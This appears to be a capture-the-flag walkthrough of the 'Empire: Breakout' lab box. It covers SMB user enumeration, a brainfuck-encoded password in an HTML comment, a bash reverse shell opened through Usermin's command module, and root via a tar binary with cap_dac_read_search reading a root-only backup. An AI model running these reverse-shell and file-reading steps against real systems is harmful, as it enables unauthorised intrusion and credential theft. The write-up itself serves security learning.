Empire: Breakout was the first box where I encountered Linux capabilities as a privesc vector. Most boxes give you SUID, sudo, or cron — capabilities are the rarer fourth category, and this one uses cap_dac_read_search on tar to skip file-system permissions. The chain leans heavily on enumeration: a brainfuck-encoded password sitting in HTML comments, an SMB null-session that gives you the username, and a Usermin admin panel exposed on port 20000. Around an hour and forty minutes for me, mostly because brainfuck is slow to decode by hand the first time.
01_Reconnaissance
Five open ports — HTTP (80), SMB (139, 445), and Webmin/Usermin on 10000 + 20000. The dual Webmin ports are the hint: 10000 is the system admin Webmin interface, 20000 is the user-level Usermin. The user-level one is the actual login target.
$ nmap -p80,139,445,10000,20000 -sV -A -sC 192.168.0.30 PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.51 139/tcp open netbios-ssn Samba smbd 4.6.2 445/tcp open netbios-ssn Samba smbd 4.6.2 10000/tcp open http MiniServ 1.981 (Webmin httpd) 20000/tcp open http MiniServ 1.830 (Webmin httpd)
02_SMB_User_Enumeration
The first step that always pays off when SMB is open — enum4linux -a. It null-binds and walks RID space, returning the local user list. Here it surfaces a single non-system account: cyber.
$ enum4linux -a 192.168.0.30 [+] Enumerating users using SID S-1-22-1 and logon username '', password '' S-1-22-1-1000 Unix User\cyber (Local User)
03_Brainfuck_in_HTML_Comment
Hitting http://192.168.0.30/ shows nothing useful in the rendered page — but the page source contains a multi-line HTML comment with what is unmistakably brainfuck. Decoding it (any online brainfuck interpreter works) yields the password.
<!-- don't worry no one will get here, it's safe to share with you my access. Its encrypted :) ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----. <++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++. --> # Decode brainfuck → cleartext password: [REDACTED]
Cipher Note — Brainfuck
Brainfuck is an esoteric programming language with eight commands (> < + - . , [ ]). It looks unreadable but is trivial to decode — every . outputs one ASCII character. Tools: dcode.fr/brainfuck-language, the Python brainfuck module, or any web interpreter.
04_Usermin_Login_and_Reverse_Shell
Login at https://192.168.0.30:20000/ with cyber : [REDACTED]. Usermin includes a built-in command shell module — open it and drop a one-liner reverse shell.
$ nc -nvlp 1234 listening on [any] 1234 ... # In Usermin shell module: bash -i >& /dev/tcp/192.168.0.100/1234 0>&1 connect to [192.168.0.100] from (UNKNOWN) [192.168.0.30] 41822 $ python3 -c 'import pty; pty.spawn("/bin/bash")' cyber@breakout:~$ id uid=1000(cyber) gid=1000(cyber)
05_PrivEsc_via_tar_Capability
In the home directory there's a custom tar binary alongside user.txt. getcap reveals it carries cap_dac_read_search+ep — meaning it can read any file on the system, regardless of UNIX permissions. Use it to grab /var/backups/.old_pass.bak which is owned by root.
cyber@breakout:~$ ls etc shadow.tar tar user.txt cyber@breakout:~$ getcap ./tar ./tar = cap_dac_read_search+ep # Use the capability-equipped tar to read root-only file cyber@breakout:~$ ./tar -cvf old_pass /var/backups/.old_pass.bak ./tar: Removing leading '/' from member names /var/backups/.old_pass.bak cyber@breakout:~$ ./tar -xvf old_pass var/backups/.old_pass.bak cyber@breakout:~$ cat var/backups/.old_pass.bak [REDACTED] # That string is the root password cyber@breakout:~$ su root Password: [REDACTED] # whoami root # cat /root/root.txt [REDACTED]
Technique Note — Linux Capabilities
Linux capabilities split root's monolithic powers into discrete privileges. cap_dac_read_search bypasses DAC permission checks for read and directory traversal — meaning a binary with this cap can read any file on disk. Always run getcap -r / 2>/dev/null alongside SUID hunts. Reference: capabilities(7).
06_Attack_Chain_Summary
- 01 Nmap → ports 80, 139, 445, 10000 (Webmin), 20000 (Usermin)
- 02 enum4linux -a → username "cyber" (RID 1000)
- 03 View source on / → brainfuck-encoded password in HTML comment
- 04 Decode brainfuck → cleartext password for cyber
- 05 Login Usermin :20000 → built-in shell module → bash reverse shell
- 06 getcap ./tar → cap_dac_read_search+ep
- 07 ./tar -cvf + -xvf /var/backups/.old_pass.bak → root password
- 08 su root → /root/root.txt